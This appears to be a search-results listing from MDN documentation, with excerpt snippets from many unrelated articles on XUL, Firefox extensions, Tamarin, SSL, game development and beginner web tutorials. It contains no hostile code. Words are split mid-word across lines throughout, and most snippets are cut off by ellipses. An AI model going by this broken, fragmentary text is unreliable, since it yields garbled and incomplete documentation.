reventdefault(); }, false); self.port.on('warning', function(message) { window.alert(message); }); in the add-on above there are two messages: click is sent from the page-mod to the add-on, when the user clicks an element in the page warning sends a silly string back to the page-mod from tab.attach() the tab.attach() method returns the worker you can use to communicate with the content sc...
Examples and demos from articles - Archive of obsolete content
[article] image p
review before upload [html] the filereader.prototype.readasdataurl() method is useful, for example, to get a p
review of an image before uploading it.
...for a full compatibility code, see also our crossbrowser possible solution for image p
review.
....[article] pure-css web gallery based on the :hover pseudoclass [zip] you can use the :hover pseudo-class in order to build an image gallery with full-size images shown only when mouse goes over p
reviews.
... .[article] pure-css web gallery based on the :checked pseudoclass [zip] you can also use the :checked pseudo-class applied to hidden radioboxes in order to build, for example, an image gallery with full-size images shown only when mouse clicks on p
reviews.
Extension Etiquette - Archive of obsolete content
prefix names in shared namespaces when shared namespaces can't be avoided, the simplest solution to p
revent conflicts is to use a distinct prefix for all of your names.
... some namespaces have specific conflict p
revention conventions, which should be followed as appropriate.
... call .noconflict(true) where applicable many common libraries which create global variables provide a method called noconflict, or similar, which
revert any global variables they've declared, and return the object itself.
... when available, these methods should always be used to p
revent conflicts with third-party code.
Handling Preferences - Archive of obsolete content
« p
reviousnext » preferences in firefox mozilla applications are highly customizable.
...right-clicking on the list
reveals several options that allow you to modify preference values and add new ones.
...if you are going to use xpcom, you should always set a default value to your preferences, or use a try / catch block to p
revent unhandled errors.
... « p
reviousnext » this tutorial was kindly donated to mozilla by appcoast.
Mozilla Documentation Roadmap - Archive of obsolete content
« p
reviousnext » mozilla documentation firefox extension development is still an immature discipline, with a developer base consisting mostly of hobbyists and just a few organized development groups.
...this blog is maintained by the add-ons team at mozilla, and it's a great way to stay up to date with amo development and add-on
review policies.
...problems using irc include: finding help when you have a big timezone difference with the united states, and no records of p
reviously asked questions and their answers.
... « p
reviousnext » this tutorial was kindly donated to mozilla by appcoast.
Adding preferences to an extension - Archive of obsolete content
« p
reviousnext » this article takes the creating a dynamic status bar extension sample to the next level, adding a popup menu that lets you quickly switch between multiple stocks to watch.
... as before, concepts covered in the p
revious articles in this series won't be rehashed here, so if you haven't already seen them: creating a status bar extension creating a dynamic status bar extension also, for reference, you may want to take a look at preferences system and the preferences api.
... refreshinformation() this method is slightly
revised from p
revious versions, in that it needs to fetch the preference for the stock to watch and use that to construct the url to monitor, as well as to construct the string to be displayed in the status bar panel.
... « p
reviousnext » override chrome://myaddon/content/options.xul chrome://myaddon/content/oldoptions.xul application={ec8030f7-c20a-464f-9b0e-13a3a9e97384} appversion<=6.* examples github - gist :: _ff-addon-template-bootstrapprefsskeleton - this gist here is a fully working example of a fully funcitonal preferences skeleton, it uses the observer example from above.
MMgc - Archive of obsolete content
normally, a pointer to the object is considered a hard reference -- any such reference will p
revent the object from being destroyed.
...classic reference counting p
revious versions of the flash player, up to flash player 7, used reference counting to track object lifetimes.
...he following reasons: coordinating the marking thread and the main thread will require locking and may suffer due to lock overhead/contention supporting mac classic's cooperative threads makes this approach harder flash's frame based architecture gives us a very natural place to do this work we have better control over how much time is spent marking without threads when smp systems become more p
revalent it may be worth investigating this approach because true parallelism may afford better performance.
...if we use up the 16mb reserved chunk, we reserve another one, contiguously with the p
revious if possible.
Mozilla Application Framework in Detail - Archive of obsolete content
the gecko rendering engine gecko is the
revolutionary rendering engine that offers advanced features for internet browsing anywhere across applications, computing platforms and devices.
... speed: gecko has been designed for speed and is several times faster than p
revious versions of internet browsing software.
...it has gone through extensive field testing and
revision to maximize web site compatibility.
...ting system facilities with support for threads, thread synchronization, normal file and network i/o, interval timing and calendar time, basic memory management (malloc and free) and shared library linking; psm, a set of libraries that perform cryptographic operations including setting up an ssl connection, object signing and signature verification, certificate management (including issuance and
revocation), other common pki functions, and s/mime support; an sql support that provides the ability to set up data sources, query a database, and retrieve results as javascript objects or rdf data sources; and an api for directory services via the lightweight directory access protocol (ldap).
Tamarin build documentation - Archive of obsolete content
$ make cppflags=-davmplus_verbose additional instructions for non-android cross-platform tamarin-redux build on osx 10.6 (snow leopard) (to build tamarin-central on mac please see p
revious cross-platform instructions here: https://developer.mozilla.org/index.php?title=en/tamarin/tamarin_build_documentation&
revision=21 the bug when building on snow leopard (bug 537817) has been fixed in the tamarin-redux repo.
...note the "\obj9" directory under \platform\win32 for the win32 builds and "\x64" directory under \platform\win32 for 64-bit builds; this looks a little odd but preserves p
revious behavior as much as possible to avoid initial disruption from the shell rename fix.
... $ cd tamarin-central $ echo 'print("hello, world")' > hello.as $ java -jar ./utils/asc.jar -import ./core/builtin.abc hello.as hello.abc, 86 bytes written use the avmplus standalone executable (avmshell) built p
reviously to run the application: $ avmshell hello.abc hello, world use the -help options of asc.jar and avmshell for more details.
...
revision: specify the
revision number that will be built.
Elements - Archive of obsolete content
for clarity's sake, here's what the embedded xml in the p
revious example looks like: <?xml version="1.0"?> <bindings id="xbltestbindings" xmlns="http://www.mozilla.org/xbl"> <binding id="xbltest"><content>pass</content></binding> </bindings> only css declarations provide an easy way to attach bindings to any set of elements.
...plied modifiers cdata #implied keycode cdata #implied key cdata #implied charcode cdata #implied clickcount (1|2|3) #implied command id #implied p
reventdefault false|true #implied > the handler element describes a single event handler.
... p
reventdefault - if set to true, the default action of the event is not performed.
... see also p
reventdefault method of the event object.
confirm - Archive of obsolete content
p
revious gecko versions only support the first, one-parameter method and will throw an error on occuring the extended form.
...utton_pos_1: the second logical button button_pos_2: the third logical button button title constants button_title_ok: an 'ok' button button_title_cancel: a 'cancel' button button_title_yes: a 'yes' button button_title_no: a 'no' button button_title_save: a 'save' button button_title_dont_save: a 'don't save' button button_title_
revert: a '
revert' button button_title_is_string: custom title specified by the corresponding abuttonxtitle parameter other constants button_pos_0_default: specifies button 0 as the default button.
... firefox on linux mozilla application suite on win32 it is therefore recommended to only use two buttons whe
rever possible, and to keep in mind that button 1 has the same return value as "window closed" (see below).
...also: user closed the dialog window 1 'ok' or button 0 2 the third button p
revious versions of the xpinstall api stated the return value of confirm() to be a boolean.
findbar - Archive of obsolete content
attributes browserid, findnextaccesskey, findp
reviousaccesskey, highlightaccesskey, matchcaseaccesskey properties browser, findmode methods close, onfindagaincommand, open, startfind, togglehighlight example <browser type="content-primary" flex="1" id="content" src="about:blank"/> <findbar id="findtoolbar" browserid="content"/> attributes browserid type: string the id of the browser element to which the fi...
... findp
reviousaccesskey type: string the access key for the "find p
revious" toolbar button in the findbar.
... onfindagaincommand( findp
revious ) return type: no return value call this method to handle your application's "find next" and "find p
revious" commands.
... you should specify true as the input parameter to perform a "find p
revious" operation, or false to perform a "find next." startfind( mode ) return type: no return value call this method to handle your application's "find" command.
Additional Navigation - Archive of obsolete content
« p
reviousnext » retrieving literals the triples used so far have all had variables in both the subject and object.
... source navigation triples may also be used to navigate up the graph as well as downwards, following the graph arrows in the
reverse direction.
... data after the second triple will look like this: (?start = http://www.daml.org/2001/09/countries/iso#it, ?countrytitle = italy, ?photo = http://www.xulplanet.com/ndeakin/images/t/palace.jpg) (?start = http://www.daml.org/2001/09/countries/iso#it, ?countrytitle = italy, ?photo = http://www.xulplanet.com/ndeakin/images/t/obselisk.jpg) the third triple just grabs the title from the photo as p
revious examples did, adding a value for the ?title variable for each photo.
... « p
reviousnext » ...
Containment Properties - Archive of obsolete content
« p
reviousnext » so far, we've seen how the simple query syntax can generate results from the children of an rdf container.
...the only difference between this and the p
revious example is a a couple of additional lines added to the rdf/xml: <rdf:seq rdf:about="http://www.xulplanet.com/rdf/a"> <rdf:li rdf:resource="http://www.xulplanet.com/rdf/e"/> <rdf:li rdf:resource="http://www.xulplanet.com/rdf/f"/> </rdf:seq> the effect is that there are five results instead of three.
...for example, the following is equivalent to the p
revious example, except that the full query syntax is used.
... « p
reviousnext » ...
Multiple Queries - Archive of obsolete content
« p
reviousnext » so far, every template has contained only a single query, even for recursive content.
...here is the p
revious example rewritten using the simple syntax: <hbox id="photoslist" datasources="template-guide-photos3.rdf" ref="http://www.xulplanet.com/rdf/myphotos" xmlns:dc="http://purl.org/dc/elements/1.1/"> <template> <rule dc:title="canal"> <button uri="rdf:*" image="rdf:*" label="view" orient="vertical"/> </rule> <rule> <image uri="rdf:*" src="rdf:*"/> </rule>...
... </template> </hbox> the result to the user in this example is the same as the p
revious example.
... « p
reviousnext » ...
Using Recursive Templates - Archive of obsolete content
« p
reviousnext » you may recall that templates generate content recursively.
...the same query is executed again but using the groups generated from the p
revious execution of the query.
...the content of the action body is again generated for each result, but instead of being inserted inside the outermost groupbox, this new content is inserted inside the content generated from the p
revious iteration.
... « p
reviousnext » ...
textbox (Toolkit autocomplete) - Archive of obsolete content
accesskey, autocompletepopup, autocompletesearch, autocompletesearchparam, completedefaultindex, completeselectedindex,crop, disableautocomplete, disabled, disablekeynavigation, enablehistory, focused, forcecomplete, highlightnonmatches, ignoreblurwhilesearching, inputtooltiptext, label, maxlength, maxrows, minresultsforpopup, nomatch, onchange, oninput, onsearchcomplete, ontextentered, ontext
reverted, open, readonly,showcommentcolumn, showimagecolumn, size, tabindex, tabscrolling, timeout, type, value properties accessibletype, completedefaultindex, controller, crop, disableautocomplete, disablekeynavigation, disabled, editable, focused, forcecomplete, highlightnonmatches, ignoreblurwhilesearching, inputfield, label, maxlength, maxrows, minresultsforpopup, open, popup, popupope...
...n, searchcount, searchparam, selectionend, selectionstart, showcommentcolumn, showimagecolumn,size, tabindex, tabscrolling, textlength, textvalue, timeout, type, value methods getsearchat, onsearchcomplete, ontextentered, ontext
reverted, select, setselectionrange examples <textbox type="autocomplete" autocompletesearch="history"/> attributes accesskey type: character this should be set to a character that is used as a shortcut key.
... ontext
reverted new in thunderbird 3requires seamonkey 2.0 type: script code this event handler is called when the user presses escape to
revert the textbox to its original uncompleted value.
... ontext
reverted() return type: event result calls the ontext
reverted event handler.
Textbox (XPFE autocomplete) - Archive of obsolete content
tedefaultindex, crop, disableautocomplete, disableautocomplete, disabled, disablehistory, enablehistory, focused, forcecomplete, forcecomplete, highlightnonmatches, ignoreblurwhilesearching, ignoreblurwhilesearching, inputtooltiptext, label, maxlength, maxrows, minresultsforpopup, minresultsforpopup, nomatch, onchange, onerrorcommand, oninput, onsearchcomplete, ontextcommand, ontextentered, ontext
revert, ontext
reverted, open, readonly, searchsessions, showcommentcolumn, showcommentcolumn, showpopup, size, tabindex, tabscrolling, tabscrolling, timeout, type, useraction, value properties accessible, alwaysopenpopup, autofill, autofillaftermatch, completedefaultindex, crop, disableautocomplete, disabled, editable, focused, forcecomplete, highlightnonmatches, ignoreblurwhilesearch...
... ontext
revert obsolete since gecko 1.9.1 type: script code note: applies to: thunderbird, seamonkey this event handler is called when the user presses escape to
revert the textbox to its original uncompleted value.
... as of gecko 1.9.1, this attribute is superseded by the ontext
reverted attribute.
... ontext
reverted new in thunderbird 3requires seamonkey 2.0 type: script code this event handler is called when the user presses escape to
revert the textbox to its original uncompleted value.
Adding Buttons - Archive of obsolete content
« p
reviousnext » in this section, we will look at how to add some simple buttons to a window.
...you can add align="start" to the window tag to p
revent the stretching.
... the findfile.xul example let's add this code to the file findfile.xul that we created in the p
revious section.
... see also more button features « p
reviousnext » ...
Cross Package Overlays - Archive of obsolete content
« p
reviousnext » this section describes how to apply overlays to files that don't import them.
...in the examples in the p
revious section, the overlays were imported by the window.
...add these lines just after the p
revious lines.
... « p
reviousnext » ...
Element Positioning - Archive of obsolete content
« p
reviousnext » here we'll look at controlling the position and size of an element.
...for example, the position of a button in a horizontal box is to the right of the p
revious button, if any.
...compare this behavior to that of the p
revious example.
... « p
reviousnext » ...
Manipulating Lists - Archive of obsolete content
« p
reviousnext » the xul listbox provides a number of specialized methods.
...the new item is inserted at this index, so, in the example, the new item will be added at position 3 while the item p
reviously at that position will now be at position 4.
...there is also a corresponding getitematindex() function to do the
reverse.
... « p
reviousnext » ...
The Box Model - Archive of obsolete content
« p
reviousnext » in this section, we'll look at how xul handles layout.
...in the case of a horizontal box, each additional element will be placed to the right of the p
revious one.
...similarly, each element added to a vertical box will be placed underneath the p
revious one.
... « p
reviousnext » ...
Trees and Templates - Archive of obsolete content
« p
reviousnext » the following describes how to use a template with a tree.
...the following example uses the history datasource: <tree datasources="rdf:history" ref="nc:historybydate" flags="dont-build-content"> as described in the p
revious section, the tree may use a tree builder for template generation instead of the normal content builder.
...sorting columns if you try the p
revious example, you might note that the list of files is not sorted.
... « p
reviousnext » ...
tooltip - Archive of obsolete content
if the box direction is
reversed, the cropping is
reversed.
...returning false from this event handler p
revents the popup from appearing.
... openpopup( anchor , position , x , y , iscontextmenu, attributesoverride, trigge
revent ) return type: no return value opens the popup relative to a specified node at a specific location.
... trigge
revent the event that triggered the popup (such as a mouse click, if the user clicked something to open the popup).
XUL Explorer - Archive of obsolete content
it’s a simple editor that can p
review xul inline or in a separate popup window.
... roadmap features: the p
review pane can be toggled with the editor.
... p
reviewing in a popup window is still available.
... option to automatically update the p
review as the editor changes.
2006-11-17 - Archive of obsolete content
how to get
review for work-in-progress patch?
... answer: cc whoever you need
review from, but don't post a formal
review.
... steps for posting a formal
review is provided also.
... code
review requested for smtp swticher no comment is made.
2006-10-20 - Archive of obsolete content
paul reed p
revious post: boris zbarsky answered j.
... paul reed's question that was posted in his p
revious reply.
...paul reed p
revious post: in his post, boris zbarsky acknoleges the points that j.
... paul reed made in his p
revious post.
Introduction to SSL - Archive of obsolete content
some organizations may want to disable the weaker ciphers to p
revent ssl connections with weaker encryption.
...this configuration option provides one way of ensuring that the client's certificate has not been
revoked.
...this optional step provides one way for a system administrator to
revoke a user's certificate even if it passes the tests in all the other steps.
... the red hat certificate system can automatically remove a
revoked certificate from the user's entry in the ldap directory.
Updating an extension to support multiple Mozilla applications - Archive of obsolete content
« p
reviousnext » this article shows how to take an existing extension and update it so that it can be used in additional mozilla applications.
... we'll build upon the stock watcher extension created in earlier articles in this series, updating it so it can also be used in thunderbird and sunbird (p
revious versions worked only in firefox).
... if you haven't already created an extension, or would like to refresh your memory, take a look at the p
revious articles in this series: creating a status bar extension creating a dynamic status bar extension adding preferences to an extension localizing an extension download the sample you can download this article's sample code so you can look at it side-by-side with the article, or to use it as a basis for your own extension.
... download the sample updating the install manifest the first step is to
revise the extension's install manifest to indicate that it can be installed in thunderbird and sunbird.
Browser Detection and Cross Browser Support - Archive of obsolete content
this article
reviews several approaches to browser detection, their usefulness in specific circumstances to arrive at a common sense approach to browser detection.
... if (document.body && typeof(document.body.offsetheight) == 'number') { height = document.body.offsetheight; } else if (typeof(window.innerheight) == 'number') { height = window.innerheight; } else { height = 0; } note how the p
revious example does not make assumptions about which browser is being used.
...ser vendor version netscape 6.0 netscape6 6.0 netscape 6.01 netscape6 6.01 netscape 6.1 netscape6 6.1 netscape 6.2 netscape6 6.2 netscape 6.2.1 netscape6 6.2.1 netscape 6.2.2 netscape6 6.2.2 netscape 6.2.3 netscape6 6.2.3 compuserve 7.0 cs 2000 7.0 7.0 netscape 7 p
review release 1 netscape 7.0b1 netscape 7.0 netscape 7.0 netscape 7.01 netscape 7.01 examples if you are like me, you learn best from examples.
...supporting only standards based browsers can reduce development and maintanance costs as well as increase the dynamic and compelling content which will attract visitors and increase your
revenue.
Array comprehensions - Archive of obsolete content
array comprehension was p
reviously proposed to be standardized in ecmascript 2016, it provide a useful shortcut for constructing a new array based on the contents of another.
... even strings may be used as input; to achieve the filter and map actions (under array-like objects) above: var str = 'abcdef'; var consonantsonlystr = [for (c of str) if (!(/[aeiouaeiou]/).test(c)) c].join(''); // 'bcdf' var interpolatedzeros = [for (c of str) c + '0' ].join(''); // 'a0b0c0d0e0f0' again, the input form is not preserved, so we have to use join() to
revert back to a string.
...bers) for (j of letters) if (i > 1) if(j > 'a') i + j] // ["2b", "2c", "3b", "3c"] [for (i of numbers) if (i > 1) [for (j of letters) if(j > 'a') i + j]] // [["2b", "2c"], ["3b", "3c"]], not the same as below: [for (i of numbers) [for (j of letters) if (i > 1) if(j > 'a') i + j]] // [[], ["2b", "2c"], ["3b", "3c"]] specifications was initially in the ecmascript 2015 draft, but got removed in
revision 27 (august 2014).
... please see older
revisions of es2015 for specification semantics.
Implementation Status - Archive of obsolete content
processing model (events) section title status notes bugs 4 processing model (events) partial the xforms-recalculate, xforms-
revalidate, and xforms-refresh events are not as separated as they should be.
...ms-model-construct-done supported 4.2.3 xforms-ready supported 4.2.4 xforms-model-destruct supported 4.3.1 xforms-rebuild supported 4.3.2 xforms-recalculate supported 4.3.3 xforms-
revalidate supported 4.3.4 xforms-refresh supported 4.3.5 xforms-reset supported 4.3.6 xforms-next xforms-p
revious supported 4.3.7 xforms-focus supported 4.3.8 xforms-help xforms-hint...
...ind element unsupported 4.8 dom interface for access to instance data supported 4.8.1 getinstancedocument() supported 4.8.2 rebuild() supported 4.8.3 recalculate() supported 4.8.4
revalidate() supported 4.8.5 refresh() supported 4.9 feature string for the hasfeature method call supported 5.
... 332231; 349805; 10.11
revalidate partial is dispatching events instead of calling directly 332231; 10.12 refresh partial is dispatching events instead of calling directly 332231; 10.13 reset supported 10.14 load partial no xforms-link-error generated if @src invalid 333782; ...
Common causes of memory leaks in extensions - Extensions
while bug 695480 should p
revent most of these compartment leaks, add-ons still need to be aware of the practices that caused these leaks, as the fix causes many add-ons which would have otherwise caused a leak to instead throw errors when attempting to access nodes from documents which no longer exist.
...for example, the following code snippets — part of a bootstrap.js — will leak: function leakref() {} function modifydocument(document) { var a = document.createelement("a"); document.body.appendchild(a); // the new dom node holding a reference to leakref will p
revent // that function object from being garbage collected and hence // will leak the whole bootstrap compartment.
... a.someproperty = leakref; } function modifydocument2(document) { // the "body" dom node holding a reference to leakref will p
revent // that function object from being garbage collected and hence // will leak the whole bootstrap compartment.
...when your add-on gets updated and re-enabled, the p
revious module version that is still loaded will be used, which might break your add-on entirely.
Implementing controls using the Gamepad API - Game development
update() is executed on every frame inside the game loop, to update the actual status of the gamepad object regularly: update: function() { // clear the buttons cache gamepadapi.buttonscache = []; // move the buttons status from the p
revious frame to the cache for(var k=0; k<gamepadapi.buttonsstatus.length; k++) { gamepadapi.buttonscache[k] = gamepadapi.buttonsstatus[k]; } // clear the buttons status gamepadapi.buttonsstatus = []; // get the gamepad object var c = gamepadapi.controller || {}; // loop through buttons and push the pressed ones to the array var pressed = []; if(c.buttons) { for(var b=0,t=c...
...oop through axes and push their values to the array var axes = []; if(c.axes) { for(var a=0,x=c.axes.length; a<x; a++) { axes.push(c.axes[a].tofixed(2)); } } // assign received values gamepadapi.axesstatus = axes; gamepadapi.buttonsstatus = pressed; // return buttons for debugging purposes return pressed; }, on every frame, update() saves buttons pressed during the p
revious frame to the buttonscache array and takes fresh ones from the gamepadapi.controller object.
... if(gamepadapi.buttonsstatus[i] == button) { // set the boolean variable to true newpress = true; // if we want to check the single press if(!hold) { // loop through the cached states from the p
revious frame for(var j=0,p=gamepadapi.buttonscache.length; j<p; j++) { // if the button was already pressed, ignore new press if(gamepadapi.buttonscache[j] == button) { newpress = false; } } } } } return newpress; }, there are two types of action to consider for a button: a single press and a hold.
...to check if the press is a new one, so the player is not holding the key, we loop through the cached states of the buttons from the p
revious frame of the game loop.
Paddle and keyboard controls - Game development
« p
reviousnext » this is the 4th step out of 10 of the gamedev canvas tutorial.
...add the following just below your drawball() function: function drawpaddle() { ctx.beginpath(); ctx.rect(paddlex, canvas.height-paddleheight, paddlewidth, paddleheight); ctx.fillstyle = "#0095dd"; ctx.fill(); ctx.closepath(); } allowing the user to control the paddle we can draw the paddle whe
rever we want, but it should respond to the user's actions.
...the only trouble now is that you can just continue hitting the ball with the paddle fo
rever.
... « p
reviousnext » ...
Build the brick field - Game development
« p
reviousnext » this is the 9th step out of 16 of the gamedev phaser tutorial.
... defining new variables first, let's define the needed variables — add the following below your p
revious variable definitions: var bricks; var newbrick; var brickinfo; the bricks variable will be used to create a group, newbrick will be a new object added to the group on every iteration of the loop, and brickinfo will store all the data we need.
... now, let's start creating the bricks themselves — add an empty group first to contain the bricks, by adding the following line at the bottom of the initbricks() function: bricks = game.add.group(); we can loop through the rows and columns to create new brick on each iteration — add the following nested loop below the p
revious line of code: for(c=0; c<brickinfo.count.col; c++) { for(r=0; r<brickinfo.count.row; r++) { // create new brick and add it to the group } } this way we will create the exact number of bricks we need and have them all contained in a group.
... « p
reviousnext » ...
Player paddle and controls - Game development
« p
reviousnext » this is the 7th step out of 16 of the gamedev phaser tutorial.
...add the following line below the p
revious new one: paddle.anchor.set(0.5,1); the paddle is now positioned right where we want it to be.
...update the p
revious line as follows: paddle.x = game.input.x || game.world.width*0.5; if you haven't already done so, reload your index.html and try it out!
... « p
reviousnext » ...
Plug-in Development Overview - Gecko Plugin API Reference
« p
reviousnext » writing plug-ins once you decide what you want your plug-in to do, creating it is a simple process.
...for example, this description list corresponds to the types in the p
revious example: string 1: "quicktime video", string 4: "aiff audio", and string 5: "jpeg image format." str#' 126: string 1 can contain a descriptive message about the plug-in.
... streams produced by the plug-in to send to the browser are like normal-mode streams produced by the browser, but in
reverse.
... building plug-ins once you have added the special code and additional files to make your plug-in scriptable as described in the p
revious section, the build process is quite straightforward.
Accessible multimedia - Learn web development
p
revious overview: accessibility next another category of content that can create accessibility problems is multimedia — video, audio, and image content need to be given proper textual alternatives so they can be understood by assistive technologies and their users.
...he following to the top of your javascript file: const playpausebtn = document.queryselector('.playpause'); const stopbtn = document.queryselector('.stop'); const rwdbtn = document.queryselector('.rwd'); const fwdbtn = document.queryselector('.fwd'); const timelabel = document.queryselector('.time'); next, we need to grab a reference to the video/audio player itself — add this line below the p
revious lines: const player = document.queryselector('video'); this holds a reference to a htmlmediaelement object, which has several useful properties and methods available on it that can be used to wire up functionality to our buttons.
... in terms of actually creating the transcript, your options are: commercial services — you could pay a professional to do the transcription, see for example companies like scribie, casting words, or
rev.
... p
revious overview: accessibility next in this module what is accessibility?
Styling tables - Learn web development
p
revious overview: building blocks next styling an html table isn't the most glamorous job in the world, but sometimes we all have to do it.
...some rows removed for b
revity <tr> <th scope="row">the stranglers</th> <td>1974</td> <td>17</td> <td>no more heroes</td> </tr> </tbody> <tfoot> <tr> <th scope="row" colspan="2">total albums</th> <td colspan="2">77</td> </tr> </tfoot> </table> the table is nicely marked up, easily styleable, and accessible, thanks to features such as scope, <caption>, <thead>, <tbo...
... first, add the following <link> element into your html head, just above your existing <link> element: <link href='https://fonts.googleapis.com/css?family=rock+salt' rel='stylesheet' type='text/css'> now add the following css into your style.css file, below the p
revious addition: /* typography */ html { font-family: 'helvetica neue', helvetica, arial, sans-serif; } thead th, tfoot th { font-family: 'rock salt', cursive; } th { letter-spacing: 2px; } td { letter-spacing: 1px; } tbody td { text-align: center; } tfoot th { text-align: right; } there is nothing really specific to tables here; we are generally tweaking the font styling to make...
... p
revious overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling tables...
Floats - Learn web development
p
revious overview: css layout next originally for floating images inside blocks of text, the float property became one of the most commonly used tools for creating multiple column layouts on webpages.
... floating the content to the right has exactly the same effect, but in
reverse — the floated element will stick to the right, and the content will wrap around it to the left.
... in your html from the p
revious example, add a class of cleared to the second paragraph below the floated item.
... p
revious overview: css layout next in this module introduction to css layout normal flow flexbox grid floats positioning multiple-column layout responsive design beginner's guide to media queries legacy layout methods supporting older browsers fundamental layout comprehension assessment ...
Positioning - Learn web development
p
revious overview: css layout next positioning allows you to take elements out of the normal document layout flow, and make them behave differently; for example sitting on top of one another, or always remaining in the same place inside the browser viewport.
...you may recall from p
revious points in the course where we discussed web pages using horizontal (x-axis) and vertical (y-axis) coordinates to work out positioning for things like background images and drop shadow offsets.
...each subsequent header will then replace the p
revious one as it scrolls up to that position.
... p
revious overview: css layout next ...
Styling links - Learn web development
p
revious overview: styling text next when styling links, it is important to understand how to make use of pseudo-classes to style link states effectively, and how to style links for use in common varied interface features such as navigation menus and tabs.
... so that's it — try
revisiting the active learning section above and trying this new technique out!
... the fourth rule — which styles the <a> element — is the most complicated here; let's go through it step by step: as in p
revious examples, we start by turning off the default text-decoration and outline — we don't want those spoiling our look.
... p
revious overview: styling text next in this module fundamental text and font styling styling lists styling links web fonts typesetting a community school homepage ...
The HTML5 input types - Learn web development
p
revious overview: forms next in the p
revious article we looked at the <input> element, covering the original values of the type attribute available since the early days of html.
...the last minute of the p
revious millenium can be expressed in the following different ways, for example: 1999/12/31, 23:59 or 12/31/99t11:59pm.
...additionally, the first week 1 of each year contains the first thursday of that year—which may not include the first day of the year, or may include the last few days of the p
revious year.
... p
revious overview: forms next in this module your first form how to structure a web form basic native form controls the html5 input types other form controls styling web forms advanced form styling ui pseudo-classes client-side form validation sending form data advanced topics how to build custom form controls sending forms through javascript property compatibility table for fo...
Sending form data - Learn web development
p
revious overview: forms once the form data has been validated on the client-side, it is okay to submit the form.
... and, since we covered validation in the p
revious article, we're ready to submit!
... for example: <form method="post" action="https://www.foo.com" enctype="multipart/form-data"> <div> <label for="file">choose a file</label> <input type="file" id="file" name="myfile"> </div> <div> <button>send the file</button> </div> </form> note: servers can be configured with a size limit for files and http requests in order to p
revent abuse.
... you should avoid many/most problems if you follow these three rules, but it's always a good idea to get a security
review performed by a competent third party.
Styling web forms - Learn web development
p
revious overview: forms next in the p
revious few articles we looked at all the html you'll need to create and structure your web forms.
... take the following example: to position the legend in this manner, we used the following css (other declarations removed for b
revity): fieldset { position: relative; } legend { position: absolute; bottom: 0; right: 0; } the <fieldset> needs to be positioned too, so that the <legend> is positioned relative to it (otherwise the <legend> would be positioned relative to the <body>.) the <legend> element is very important for accessibility — it will be spoken by assistive technologies as part of the label of each f...
...while our design is a fixed-size design, and we could use the resize property to p
revent users from resizing our multi-line text field, it is best to not p
revent users from resizing a textarea if they so choose.
... p
revious overview: forms next in this module your first form how to structure a web form basic native form controls the html5 input types other form controls styling web forms advanced form styling ui pseudo-classes client-side form validation sending form data advanced topics how to build custom form controls sending forms through javascript property compatibility table for fo...
HTML basics - Learn web development
p
revious overview: getting started with the web next html (hypertext markup language) is the code that is used to structure a web page and its content.
... an attribute should always have the following: a space between it and the element name (or the p
revious attribute, if the element already has one or more attributes).
...let's
revisit the code we put into our index.html example (which we first met in the dealing with files article): <!doctype html> <html> <head> <meta charset="utf-8"> <title>my test page</title> </head> <body> <img src="images/firefox-icon.png" alt="my test image"> </body> </html> here, we have the following: <!doctype html> — the doctype.
... p
revious overview: getting started with the web next in this module installing basic software what will your website look like?
Define terms with HTML - Learn web development
special case: abb
reviations it's best to mark abb
reviations specially with <abbr>, so that screen readers read them appropriately and so that you can operate on all abb
reviations uniformly.
... just as with any new keyword, you should define your abb
reviations the first time they occur.
...</p> the html spec does indeed set aside the title attribute for expanding the abb
reviation.
...the contents of title are completely hidden from your users, unless they're using a mouse and they happen to hover over the abb
reviation.
Adding vector graphics to the Web - Learn web development
p
revious overview: multimedia and embedding next vector graphics are very useful in many circumstances — they have small file sizes and are highly scalable, so they don't pixelate when zoomed in or blown up to a large size.
... you can assign classes and ids to svg elements and style them with css, either within the svg or whe
rever you put the css style rules for your html document.
... here's a quick
review: <iframe src="triangle.svg" width="500" height="500" sandbox> <img src="triangle.png" alt="triangle with three unequal sides" /> </iframe> this is definitely not the best method to choose: cons iframes do have a fallback mechanism, as you can see, but browsers only display the fallback if they lack support for iframes altogether.
...value = userentry; solution.value = 'show solution'; } updatecode(); }); const htmlsolution = ''; let solutionentry = htmlsolution; textarea.addeventlistener('input', updatecode); window.addeventlistener('load', updatecode); // stop tab key tabbing out of textarea and // make it write a tab at the caret position instead textarea.onkeydown = function(e){ if (e.keycode === 9) { e.p
reventdefault(); insertatcaret('\t'); } if (e.keycode === 27) { textarea.blur(); } }; function insertatcaret(text) { const scrollpos = textarea.scrolltop; const caretpos = textarea.selectionstart; const front = (textarea.value).substring(0, caretpos); const back = (textarea.value).substring(textarea.selectionend, textarea.value.length); textarea.value = front + text + back;...
Video and audio content - Learn web development
p
revious overview: multimedia and embedding next now that we are comfortable with adding simple images to a webpage, the next step is to start adding video and audio players to your html documents!
...fortunately, there are things you can do to help p
revent this from being a problem.
... the codecs described in the p
revious section exist to compress video and audio into manageable files, since raw audio and video are both exceedingly large.
... other than this, <audio> supports all the same features as <video> —
review the above sections for more information about them.
General asynchronous programming concepts - Learn web development
note: the p
revious example is very unrealistic.
...this is a rewrite of our p
revious example that calculates the 10 million dates in a separate worker thread.
...this becomes a problem when a function relies on the results of multiple p
revious processes to function.
... conclusion modern software design increasingly
revolves around using asynchronous programming, to allow programs to do more than one thing at a time.
Build your own function - Learn web development
p
revious overview: building blocks next with most of the essential theory dealt with in the p
revious article, this article provides practical experience.
... delete the p
revious line you added.
...add the following line to your code, above the function definition: const btn = document.queryselector('button'); finally, add the following line below the p
revious one: btn.onclick = displaymessage; in a similar way to our closebtn.onclick...
... p
revious overview: building blocks next in this module making decisions in your code — conditionals looping code functions — reusable blocks of code build your own function function return values introduction to events image gallery ...
Client-Server Overview - Learn web development
p
revious overview: first steps next now that you know the purpose and potential benefits of server-side programming we're going to examine in detail what happens when a server receives a "dynamic request" from a browser.
...the format of the request is almost the same as the get request example shown p
reviously, though the first line identifies this request as a post.
...if anything p
revents the html from being returned then the web application will return another code — for example "404" to indicate that the team does not exist.
... p
revious overview: first steps next in this module introduction to the server side client-server overview server-side web frameworks website security ...
Server-side web frameworks - Learn web development
p
revious overview: first steps next the p
revious article showed you what the communication between web clients and servers looks like, the nature of http requests and responses, and what a server-side web application needs to do in order to respond to requests from a web browser.
...continuing the "youngest team" example from the p
revious section, the html template is passed a list variable called youngest_teams by the view.
...caching can be implemented in your code or in the server (see
reverse proxy).
... p
revious overview: first steps next in this module introduction to the server side client-server overview server-side web frameworks website security ...
